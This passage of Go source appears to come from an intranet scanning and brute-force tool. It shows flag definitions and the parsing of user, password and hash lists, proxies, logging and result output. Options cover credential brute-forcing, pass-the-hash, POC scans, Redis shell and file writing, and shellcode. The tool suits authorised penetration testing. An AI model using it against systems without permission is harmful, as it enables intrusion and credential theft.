GetText("flag_live_top")) flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping")) flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping")) flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint")) flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) // ═════════════════════════════════════════════════ // 认证与凭据参数 // ═════════════════════════════════════════════════ flag.StringVar(&Username, "user", "", GetText("flag_username")) flag.StringVar(&Password, "pwd", "", GetText("flag_password")) flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users")) flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file")) flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file")) flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file")) flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用 flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用 // ═════════════════════════════════════════════════ // Web扫描参数 // ═════════════════════════════════════════════════ flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url")) flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file")) flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie")) flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout")) flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy")) flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy")) // ═════════════════════════════════════════════════ // POC测试参数 // ═════════════════════════════════════════════════ flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path")) flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name")) flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc")) // ═════════════════════════════════════════════════ // Redis利用参数 // ═════════════════════════════════════════════════ flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell")) flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis")) flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path")) flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content")) flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file")) // ═════════════════════════════════════════════════ // 暴力破解控制参数 // ═════════════════════════════════════════════════ flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute")) flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries")) // ═════════════════════════════════════════════════ // 输出与显示控制参数 // ═════════════════════════════════════════════════ flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file")) flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format")) flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save")) flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode")) flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color")) flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level")) flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress")) flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan")) flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output")) // ═════════════════════════════════════════════════ // 其他参数 // ═════════════════════════════════════════════════ flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) flag.StringVar(&Language, "lang", "zh", GetText("flag_language")) flag.StringVar(&ApiAddr, "api", "", GetText("flag_api")) flag.StringVar(&SecretKey, "secret", "", GetText("flag_api_key")) // 解析命令行参数 parseCommandLineArgs() // 设置语言 SetLanguage() } // FlagFormRemote 解析远程扫描的命令行参数 func FlagFromRemote(info *HostInfo, argString string) error { if strings.TrimSpace(argString) == "" { return fmt.Errorf("参数为空") } args, err := parseEnvironmentArgs(argString) if err != nil { return fmt.Errorf("远程参数解析失败: %v", err) } // 创建一个新的 FlagSet 用于远程参数解析,避免污染主命令行 fs := flag.NewFlagSet("remote", flag.ContinueOnError) // 注册需要的远程 flag,注意使用 fs 而非 flag 包的全局变量 fs.StringVar(&info.Host, "h", "", GetText("flag_host")) fs.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) fs.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) fs.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports")) fs.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) fs.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) fs.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode")) fs.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num")) fs.Int64Var(&Timeout, "time", 3, GetText("flag_timeout")) fs.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num")) fs.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout")) fs.IntVar(&LiveTop, "top", 10, GetText("flag_live_top")) fs.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping")) fs.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping")) fs.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint")) fs.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) fs.StringVar(&Username, "user", "", GetText("flag_username")) fs.StringVar(&Password, "pwd", "", GetText("flag_password")) fs.StringVar(&AddUsers, "usera", "", GetText("flag_add_users")) fs.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) fs.StringVar(&UsersFile, "userf", "", GetText("flag_users_file")) fs.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file")) fs.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file")) fs.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) fs.StringVar(&Domain, "domain", "", GetText("flag_domain")) fs.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) fs.StringVar(&TargetURL, "u", "", GetText("flag_target_url")) fs.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file")) fs.StringVar(&Cookie, "cookie", "", GetText("flag_cookie")) fs.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout")) fs.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy")) fs.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy")) fs.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path")) fs.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name")) fs.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) fs.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) fs.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) fs.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc")) fs.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) fs.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell")) fs.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis")) fs.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path")) fs.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content")) fs.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file")) fs.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute")) fs.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries")) fs.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file")) fs.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format")) fs.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save")) fs.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode")) fs.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color")) fs.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level")) fs.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress")) fs.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan")) fs.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output")) fs.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) fs.StringVar(&Language, "lang", "zh", GetText("flag_language")) // 开始解析远程传入的参数 if err := fs.Parse(args); err != nil { return fmt.Errorf("远程参数解析失败: %v", err) } return nil } // parseCommandLineArgs 处理来自环境变量和命令行的参数 func parseCommandLineArgs() { // 首先检查环境变量中的参数 envArgsString := os.Getenv("FS_ARGS") if envArgsString != "" { // 解析环境变量参数 (跨平台支持) envArgs, err := parseEnvironmentArgs(envArgsString) if err == nil && len(envArgs) > 0 { flag.CommandLine.Parse(envArgs) os.Unsetenv("FS_ARGS") // 使用后清除环境变量 return } // 如果环境变量解析失败,继续使用命令行参数 } // 解析命令行参数 flag.Parse() } // parseEnvironmentArgs 安全地解析环境变量中的参数 func parseEnvironmentArgs(argsString string) ([]string, error) { if strings.TrimSpace(argsString) == "" { return nil, fmt.Errorf("empty arguments string") } // 使用更安全的参数分割方法 var args []string var currentArg strings.Builder inQuote := false quoteChar := ' ' for _, char := range argsString { switch { case char == '"' || char == '\'': if inQuote && char == quoteChar { inQuote = false } else if !inQuote { inQuote = true quoteChar = char } else { currentArg.WriteRune(char) } case char == ' ' && !inQuote: if currentArg.Len() > 0 { args = append(args, currentArg.String()) currentArg.Reset() } default: currentArg.WriteRune(char) } } if currentArg.Len() > 0 { args = append(args, currentArg.String()) } return args, nil } ================================================ FILE: Common/Log.go ================================================ package Common import ( "fmt" "io" "log" "path/filepath" "runtime" "strings" "sync" "time" "github.com/fatih/color" ) // 全局变量定义 var ( // 扫描状态管理器,记录最近一次成功和错误的时间 status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()} // Num 表示待处理的总任务数量 Num int64 // End 表示已经完成的任务数量 End int64 ) // ScanStatus 用于记录和管理扫描状态的结构体 type ScanStatus struct { mu sync.RWMutex // 读写互斥锁,用于保护并发访问 total int64 // 总任务数 completed int64 // 已完成任务数 lastSuccess time.Time // 最近一次成功的时间 lastError time.Time // 最近一次错误的时间 } // LogEntry 定义单条日志的结构 type LogEntry struct { Level string // 日志级别: ERROR/INFO/SUCCESS/DEBUG Time time.Time // 日志时间 Content string // 日志内容 } // 定义系统支持的日志级别常量 const ( LogLevelAll = "ALL" // 显示所有级别日志 LogLevelError = "ERROR" // 仅显示错误日志 LogLevelBase = "BASE" // 仅显示信息日志 LogLevelInfo = "INFO" // 仅显示信息日志 LogLevelSuccess = "SUCCESS" // 仅显示成功日志 LogLevelDebug = "DEBUG" // 仅显示调试日志 ) // 日志级别对应的显示颜色映射 var logColors = map[string]color.Attribute{ LogLevelError: color.FgBlue, // 错误日志显示蓝色 LogLevelBase: color.FgYellow, // 信息日志显示黄色 LogLevelInfo: color.FgGreen, // 信息日志显示绿色 LogLevelSuccess: color.FgRed, // 成功日志显示红色 LogLevelDebug: color.FgWhite, // 调试日志显示白色 } // InitLogger 初始化日志系统 func InitLogger() { // 禁用标准日志输出 log.SetOutput(io.Discard) } var StartTime = time.Now() // formatLogMessage 格式化日志消息为标准格式 // 返回格式:[时间] [级别] 内容 func formatLogMessage(entry *LogEntry) string { elapsed := time.Since(StartTime) var timeStr string // 根据时间长短选择合适的单位 switch { case elapsed < time.Second: // 毫秒显示,不需要小数 timeStr = fmt.Sprintf("%dms", elapsed.Milliseconds()) case elapsed < time.Minute: // 秒显示,保留一位小数 timeStr = fmt.Sprintf("%.1fs", elapsed.Seconds()) case elapsed < time.Hour: // 分钟和秒显示 minutes := int(elapsed.Minutes()) seconds := int(elapsed.Seconds()) % 60 timeStr = fmt.Sprintf("%dm%ds", minutes, seconds) default: // 小时、分钟和秒显示 hours := int(elapsed.Hours()) minutes := int(elapsed.Minutes()) % 60 seconds := int(elapsed.Seconds()) % 60 timeStr = fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds) } str := " " switch entry.Level { case LogLevelSuccess: str = "[+]" case LogLevelInfo: str = "[*]" case LogLevelError: str = "[-]" } return fmt.Sprintf("[%s] %s %s", timeStr, str, entry.Content) } // printLog 根据日志级别打印日志 func printLog(entry *LogEntry) { if LogLevel != "debug" && (entry.Level == LogLevelDebug || entry.Level == LogLevelError) { return } OutputMutex.Lock() defer OutputMutex.Unlock() // 处理进度条 clearAndWaitProgress() // 打印日志消息 logMsg := formatLogMessage(entry) if !NoColor { // 使用彩色输出 if colorAttr, ok := logColors[entry.Level]; ok { color.New(colorAttr).Println(logMsg) } else { fmt.Println(logMsg) } } else { // 普通输出 fmt.Println(logMsg) } // 根据慢速输出设置决定是否添加延迟 if SlowLogOutput { time.Sleep(50 * time.Millisecond) } // 重新显示进度条 if ProgressBar != nil { ProgressBar.RenderBlank() } } // clearAndWaitProgress 清除进度条并等待 func clearAndWaitProgress() { if ProgressBar != nil { ProgressBar.Clear() time.Sleep(10 * time.Millisecond) } } // handleLog 统一处理日志的输出 func handleLog(entry *LogEntry) { if ProgressBar != nil { ProgressBar.Clear() } printLog(entry) if ProgressBar != nil { ProgressBar.RenderBlank() } } // LogDebug 记录调试日志 func LogDebug(msg string) { handleLog(&LogEntry{ Level: LogLevelDebug, Time: time.Now(), Content: msg, }) } // LogBase 记录进度信息 func LogBase(msg string) { handleLog(&LogEntry{ Level: LogLevelBase, Time: time.Now(), Content: msg, }) } // LogInfo 记录信息日志 // [*] func LogInfo(msg string) { handleLog(&LogEntry{ Level: LogLevelInfo, Time: time.Now(), Content: msg, }) } // LogSuccess 记录成功日志,并更新最后成功时间 // [+] func LogSuccess(result string) { entry := &LogEntry{ Level: LogLevelSuccess, Time: time.Now(), Content: result, } handleLog(entry) // 更新最后成功时间 status.mu.Lock() status.lastSuccess = time.Now() status.mu.Unlock() } // LogError 记录错误日志,自动包含文件名和行号信息 func LogError(errMsg string) { // 获取调用者的文件名和行号 _, file, line, ok := runtime.Caller(1) if !ok { file = "unknown" line = 0 } file = filepath.Base(file) errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg) entry := &LogEntry{ Level: LogLevelError, Time: time.Now(), Content: errorMsg, } handleLog(entry) } // CheckErrs 检查是否为需要重试的错误 func CheckErrs(err error) error { if err == nil { return nil } // 已知需要重试的错误列表 errs := []string{ "closed by the remote host", "too many connections", "EOF", "A connection attempt failed", "established connection failed", "connection attempt failed", "Unable to read", "is not allowed to connect to this", "no pg_hba.conf entry", "No connection could be made", "invalid packet size", "bad connection", } // 检查错误是否匹配 errLower := strings.ToLower(err.Error()) for _, key := range errs { if strings.Contains(errLower, strings.ToLower(key)) { time.Sleep(1 * time.Second) return err } } return nil } ================================================ FILE: Common/Output.go ================================================ package Common import ( "encoding/csv" "encoding/json" "fmt" "os" "path/filepath" "strings" "sync" "time" ) // 全局输出管理器 var ResultOutput *OutputManager // OutputManager 输出管理器结构体 type OutputManager struct { mu sync.Mutex outputPath string outputFormat string file *os.File csvWriter *csv.Writer jsonEncoder *json.Encoder isInitialized bool } // ResultType 定义结果类型 type ResultType string const ( HOST ResultType = "HOST" // 主机存活 PORT ResultType = "PORT" // 端口开放 SERVICE ResultType = "SERVICE" // 服务识别 VULN ResultType = "VULN" // 漏洞发现 ) // ScanResult 扫描结果结构 type ScanResult struct { Time time.Time `json:"time"` // 发现时间 Type ResultType `json:"type"` // 结果类型 Target string `json:"target"` // 目标(IP/域名/URL) Status string `json:"status"` // 状态描述 Details map[string]interface{} `json:"details"` // 详细信息 } // InitOutput 初始化输出系统 func InitOutput() error { LogDebug(GetText("output_init_start")) // 验证输出格式 switch OutputFormat { case "txt", "json", "csv": // 有效的格式 default: return fmt.Errorf(GetText("output_format_invalid"), OutputFormat) } // 验证输出路径 if Outputfile == "" { return fmt.Errorf(GetText("output_path_empty")) } dir := filepath.Dir(Outputfile) if err := os.MkdirAll(dir, 0755); err != nil { LogDebug(GetText("output_create_dir_failed", err)) return fmt.Errorf(GetText("output_create_dir_failed", err)) } if ApiAddr != "" { OutputFormat = "csv" Outputfile = filepath.Join(dir, "fscanapi.csv") Num = 0 End = 0 if _, err := os.Stat(Outputfile); err == nil { if err := os.Remove(Outputfile); err != nil { return fmt.Errorf(GetText("output_file_remove_failed", err)) } } } manager := &OutputManager{ outputPath: Outputfile, outputFormat: OutputFormat, } if err := manager.initialize(); err != nil { LogDebug(GetText("output_init_failed", err)) return fmt.Errorf(GetText("output_init_failed", err)) } ResultOutput = manager LogDebug(GetText("output_init_success")) return nil } func (om *OutputManager) initialize() error { om.mu.Lock() defer om.mu.Unlock() if om.isInitialized { LogDebug(GetText("output_already_init")) return nil } LogDebug(GetText("output_opening_file", om.outputPath)) file, err := os.OpenFile(om.outputPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644) if err != nil { LogDebug(GetText("output_open_file_failed", err)) return fmt.Errorf(GetText("output_open_file_failed", err)) } om.file = file switch om.outputFormat { case "csv": LogDebug(GetText("output_init_csv")) om.csvWriter = csv.NewWriter(file) headers := []string{"Time", "Type", "Target", "Status", "Details"} if err := om.csvWriter.Write(headers); err != nil { LogDebug(GetText("output_write_csv_header_failed", err)) file.Close() return fmt.Errorf(GetText("output_write_csv_header_failed", err)) } om.csvWriter.Flush() case "json": LogDebug(GetText("output_init_json")) om.jsonEncoder = json.NewEncoder(file) om.jsonEncoder.SetIndent("", " ") case "txt": LogDebug(GetText("output_init_txt")) default: LogDebug(GetText("output_format_invalid", om.outputFormat)) } om.isInitialized = true LogDebug(GetText("output_init_complete")) return nil } // SaveResult 保存扫描结果 func SaveResult(result *ScanResult) error { if ResultOutput == nil { LogDebug(GetText("output_not_init")) return fmt.Errorf(GetText("output_not_init")) } LogDebug(GetText("output_saving_result", result.Type, result.Target)) return ResultOutput.saveResult(result) } func GetResults() ([]*ScanResult, error) { if ResultOutput == nil { return nil, fmt.Errorf(GetText("output_not_init")) } if ResultOutput.outputFormat == "csv" { return ResultOutput.getResult() } // 其他格式尚未实现读取支持 return nil, fmt.Errorf(GetText("output_format_read_not_supported")) } func (om *OutputManager) saveResult(result *ScanResult) error { om.mu.Lock() defer om.mu.Unlock() if !om.isInitialized { LogDebug(GetText("output_not_init")) return fmt.Errorf(GetText("output_not_init")) } var err error switch om.outputFormat { case "txt": err = om.writeTxt(result) case "json": err = om.writeJson(result) case "csv": err = om.writeCsv(result) default: LogDebug(GetText("output_format_invalid", om.outputFormat)) return fmt.Errorf(GetText("output_format_invalid", om.outputFormat)) } if err != nil { LogDebug(GetText("output_save_failed", err)) } else { LogDebug(GetText("output_save_success", result.Type, result.Target)) } return err } func (om *OutputManager) getResult() ([]*ScanResult, error) { om.mu.Lock() defer om.mu.Unlock() if !om.isInitialized { LogDebug(GetText("output_not_init")) return nil, fmt.Errorf(GetText("output_not_init")) } file, err := os.Open(om.outputPath) if err != nil { LogDebug(GetText("output_open_file_failed", err)) return nil, err } defer file.Close() reader := csv.NewReader(file) records, err := reader.ReadAll() if err != nil { LogDebug(GetText("output_read_csv_failed", err)) return nil, err } var results []*ScanResult for i, row := range records { // 跳过 CSV 头部 if i == 0 { continue } if len(row) < 5 { continue // 数据不完整 } t, err := time.Parse("2006-01-02 15:04:05", row[0]) if err != nil { continue } var details map[string]interface{} if err := json.Unmarshal([]byte(row[4]), &details); err != nil { details = make(map[string]interface{}) } result := &ScanResult{ Time: t, Type: ResultType(row[1]), Target: row[2], Status: row[3], Details: details, } results = append(results, result) } LogDebug(GetText("output_read_csv_success", len(results))) return results, nil } func (om *OutputManager) writeTxt(result *ScanResult) error { // 格式化 Details 为键值对字符串 var details string if len(result.Details) > 0 { pairs := make([]string, 0, len(result.Details)) for k, v := range result.Details { pairs = append(pairs, fmt.Sprintf("%s=%v", k, v)) } details = strings.Join(pairs, ", ") } txt := GetText("output_txt_format", result.Time.Format("2006-01-02 15:04:05"), result.Type, result.Target, result.Status, details, ) + "\n" _, err := om.file.WriteString(txt) return err } func (om *OutputManager) writeJson(result *ScanResult) error { return om.jsonEncoder.Encode(result) } func (om *OutputManager) writeCsv(result *ScanResult) error { details, err := json.Marshal(result.Details) if err != nil { details = []byte("{}") } record := []string{ result.Time.Format("2006-01-02 15:04:05"), string(result.Type), result.Target, result.Status, string(details), } if err := om.csvWriter.Write(record); err != nil { return err } om.csvWriter.Flush() return om.csvWriter.Error() } // CloseOutput 关闭输出系统 func CloseOutput() error { if ResultOutput == nil { LogDebug(GetText("output_no_need_close")) return nil } LogDebug(GetText("output_closing")) ResultOutput.mu.Lock() defer ResultOutput.mu.Unlock() if !ResultOutput.isInitialized { LogDebug(GetText("output_no_need_close")) return nil } if ResultOutput.csvWriter != nil { LogDebug(GetText("output_flush_csv")) ResultOutput.csvWriter.Flush() } if err := ResultOutput.file.Close(); err != nil { LogDebug(GetText("output_close_failed", err)) return fmt.Errorf(GetText("output_close_failed", err)) } ResultOutput.isInitialized = false LogDebug(GetText("output_closed")) return nil } ================================================ FILE: Common/Parse.go ================================================ package Common import ( "bufio" "encoding/hex" "flag" "fmt" "net/url" "os" "strings" ) // Parse 配置解析的总入口函数 // 协调调用各解析子函数,完成完整的配置处理流程 func Parse(Info *HostInfo) error { // 按照依赖顺序解析各类配置 if err := ParseUser(); err != nil { return fmt.Errorf("用户名解析错误: %v", err) } if err := ParsePass(Info); err != nil { return fmt.Errorf("密码与目标解析错误: %v", err) } if err := ParseInput(Info); err != nil { return fmt.Errorf("输入参数解析错误: %v", err) } return nil } // ParseUser 解析用户名配置 // 处理直接指定的用户名和从文件加载的用户名,更新全局用户字典 func ParseUser() error { // 如果未指定用户名和用户名文件,无需处理 if Username == "" && UsersFile == "" { return nil } // 收集所有用户名 var usernames []string // 处理命令行参数指定的用户名列表 if Username != "" { usernames = strings.Split(Username, ",") LogBase(GetText("no_username_specified", len(usernames))) } // 从文件加载用户名列表 if UsersFile != "" { fileUsers, err := ReadFileLines(UsersFile) if err != nil { return fmt.Errorf("读取用户名文件失败: %v", err) } // 添加非空用户名 for _, user := range fileUsers { if user != "" { usernames = append(usernames, user) } } LogBase(GetText("load_usernames_from_file", len(fileUsers))) } // 去重处理 usernames = RemoveDuplicate(usernames) LogBase(GetText("total_usernames", len(usernames))) // 更新所有字典的用户名列表 for name := range Userdict { Userdict[name] = usernames } return nil } // ParsePass 解析密码、URL、主机和端口等目标配置 // 处理多种输入源的配置,并更新全局目标信息 func ParsePass(Info *HostInfo) error { // 处理密码配置 parsePasswords() // 处理哈希值配置 parseHashes() // 处理URL配置 parseURLs() // 处理主机配置 if err := parseHosts(Info); err != nil { return err } // 处理端口配置 if err := parsePorts(); err != nil { return err } return nil } // parsePasswords 解析密码配置 // 处理直接指定的密码和从文件加载的密码 func parsePasswords() { var pwdList []string // 处理命令行参数指定的密码列表 if Password != "" { passes := strings.Split(Password, ",") for _, pass := range passes { if pass != "" { pwdList = append(pwdList, pass) } } Passwords = pwdList LogBase(GetText("load_passwords", len(pwdList))) } // 从文件加载密码列表 if PasswordsFile != "" { passes, err := ReadFileLines(PasswordsFile) if err != nil { LogError(fmt.Sprintf("读取密码文件失败: %v", err)) return } for _, pass := range passes { if pass != "" { pwdList = append(pwdList, pass) } } Passwords = pwdList LogBase(GetText("load_passwords_from_file", len(passes))) } } // parseHashes 解析哈希值配置 // 验证并处理哈希文件中的哈希值 func parseHashes() { // 处理哈希文件 if HashFile == "" { return } hashes, err := ReadFileLines(HashFile) if err != nil { LogError(fmt.Sprintf("读取哈希文件失败: %v", err)) return } validCount := 0 for _, line := range hashes { if line == "" { continue } // 验证哈希长度(MD5哈希为32位) if len(line) == 32 { HashValues = append(HashValues, line) validCount++ } else { LogError(GetText("invalid_hash", line)) } } LogBase(GetText("load_valid_hashes", validCount)) } // parseURLs 解析URL目标配置 // 处理命令行和文件指定的URL列表,去重后更新全局URL列表 func parseURLs() { urlMap := make(map[string]struct{}) // 处理命令行参数指定的URL列表 if TargetURL != "" { urls := strings.Split(TargetURL, ",") for _, url := range urls { if url != "" { urlMap[url] = struct{}{} } } } // 从文件加载URL列表 if URLsFile != "" { urls, err := ReadFileLines(URLsFile) if err != nil { LogError(fmt.Sprintf("读取URL文件失败: %v", err)) return } for _, url := range urls { if url != "" { urlMap[url] = struct{}{} } } } // 更新全局URL列表(已去重) URLs = make([]string, 0, len(urlMap)) for u := range urlMap { URLs = append(URLs, u) } if len(URLs) > 0 { LogBase(GetText("load_urls", len(URLs))) } } // parseHosts 解析主机配置 // 从文件加载主机列表并更新目标信息 func parseHosts(Info *HostInfo) error { // 如果未指定主机文件,无需处理 if HostsFile == "" { return nil } hosts, err := ReadFileLines(HostsFile) if err != nil { return fmt.Errorf("读取主机文件失败: %v", err) } // 去重处理 hostMap := make(map[string]struct{}) for _, host := range hosts { if host != "" { hostMap[host] = struct{}{} } } // 构建主机列表并更新Info.Host if len(hostMap) > 0 { var hostList []string for host := range hostMap { hostList = append(hostList, host) } hostStr := strings.Join(hostList, ",") if Info.Host == "" { Info.Host = hostStr } else { Info.Host += "," + hostStr } LogBase(GetText("load_hosts_from_file", len(hosts))) } return nil } // parsePorts 解析端口配置 // 从文件加载端口列表并更新全局端口配置 func parsePorts() error { // 如果未指定端口文件,无需处理 if PortsFile == "" { return nil } ports, err := ReadFileLines(PortsFile) if err != nil { return fmt.Errorf("读取端口文件失败: %v", err) } // 构建端口列表字符串 var portBuilder strings.Builder for _, port := range ports { if port != "" { portBuilder.WriteString(port) portBuilder.WriteString(",") } } // 更新全局端口配置 Ports = portBuilder.String() LogBase(GetText("load_ports_from_file")) return nil } // parseExcludePorts 解析排除端口配置 // 更新全局排除端口配置 func parseExcludePorts() { if ExcludePorts != "" { LogBase(GetText("exclude_ports", ExcludePorts)) // 确保排除端口被正确设置到全局配置中 // 这将由PortScan函数在处理端口时使用 } } // ReadFileLines 读取文件内容并返回非空行的切片 // 通用的文件读取函数,处理文件打开、读取和错误报告 func ReadFileLines(filename string) ([]string, error) { // 打开文件 file, err := os.Open(filename) if err != nil { LogError(GetText("open_file_failed", filename, err)) return nil, err } defer file.Close() var content []string scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) // 逐行读取文件内容,忽略空行 lineCount := 0 for scanner.Scan() { text := strings.TrimSpace(scanner.Text()) if text != "" { content = append(content, text) lineCount++ } } // 检查扫描过程中是否有错误 if err := scanner.Err(); err != nil { LogError(GetText("read_file_failed", filename, err)) return nil, err } LogBase(GetText("read_file_success", filename, lineCount)) return content, nil } // ParseInput 解析和验证输入参数配置 // 处理多种配置的冲突检查、格式验证和参数处理 func ParseInput(Info *HostInfo) error { // 检查扫描模式冲突 if err := validateScanMode(Info); err != nil { return err } // 处理端口配置组合 processPortsConfig() // 处理排除端口配置 parseExcludePorts() // 处理额外用户名和密码 processExtraCredentials() // 处理代理配置 if err := processProxySettings(); err != nil { return err } // 处理哈希值 if err := processHashValues(); err != nil { return err } return nil } // validateScanMode 验证扫描模式 // 检查互斥的扫描模式配置,避免参数冲突 func validateScanMode(Info *HostInfo) error { // 检查互斥的扫描模式(主机扫描、URL扫描、本地模式) modes := 0 if Info.Host != "" || HostsFile != "" { modes++ } if len(URLs) > 0 || TargetURL != "" || URLsFile != "" { modes++ } if LocalMode { modes++ } // 处理扫描模式验证结果 if modes == 0 { // 无参数时显示帮助 flag.Usage() return fmt.Errorf(GetText("specify_scan_params")) } else if modes > 1 { return fmt.Errorf(GetText("params_conflict")) } return nil } // processPortsConfig 处理端口配置 // 合并默认端口和附加端口配置 func processPortsConfig() { // 如果使用主要端口,添加Web端口 if Ports == MainPorts { Ports += "," + WebPorts } // 处理附加端口 if AddPorts != "" { if strings.HasSuffix(Ports, ",") { Ports += AddPorts } else { Ports += "," + AddPorts } LogBase(GetText("extra_ports", AddPorts)) } // 确保排除端口配置被记录 if ExcludePorts != "" { LogBase(GetText("exclude_ports_applied", ExcludePorts)) } } // processExtraCredentials 处理额外的用户名和密码 // 添加命令行指定的额外用户名和密码到现有配置 func processExtraCredentials() { // 处理额外用户名 if AddUsers != "" { users := strings.Split(AddUsers, ",") for dict := range Userdict { Userdict[dict] = append(Userdict[dict], users...) Userdict[dict] = RemoveDuplicate(Userdict[dict]) } LogBase(GetText("extra_usernames", AddUsers)) } // 处理额外密码 if AddPasswords != "" { passes := strings.Split(AddPasswords, ",") Passwords = append(Passwords, passes...) Passwords = RemoveDuplicate(Passwords) LogBase(GetText("extra_passwords", AddPasswords)) } } // processProxySettings 处理代理设置 // 解析并验证Socks5和HTTP代理配置 func processProxySettings() error { // 处理Socks5代理 if Socks5Proxy != "" { if err := setupSocks5Proxy(); err != nil { return err } } // 处理HTTP代理 if HttpProxy != "" { if err := setupHttpProxy(); err != nil { return err } } return nil } // setupSocks5Proxy 设置Socks5代理 // 格式化和验证Socks5代理URL func setupSocks5Proxy() error { // 规范化Socks5代理URL格式 if !strings.HasPrefix(Socks5Proxy, "socks5://") { if !strings.Contains(Socks5Proxy, ":") { // 仅指定端口时使用本地地址 Socks5Proxy = "socks5://127.0.0.1:" + Socks5Proxy } else { // 指定IP:PORT时添加协议前缀 Socks5Proxy = "socks5://" + Socks5Proxy } } // 验证代理URL格式 _, err := url.Parse(Socks5Proxy) if err != nil { return fmt.Errorf(GetText("socks5_proxy_error", err)) } // 使用Socks5代理时禁用Ping(无法通过代理进行ICMP) DisablePing = true LogBase(GetText("socks5_proxy", Socks5Proxy)) return nil } // setupHttpProxy 设置HTTP代理 // 处理多种HTTP代理简写形式并验证URL格式 func setupHttpProxy() error { // 处理HTTP代理简写形式 switch 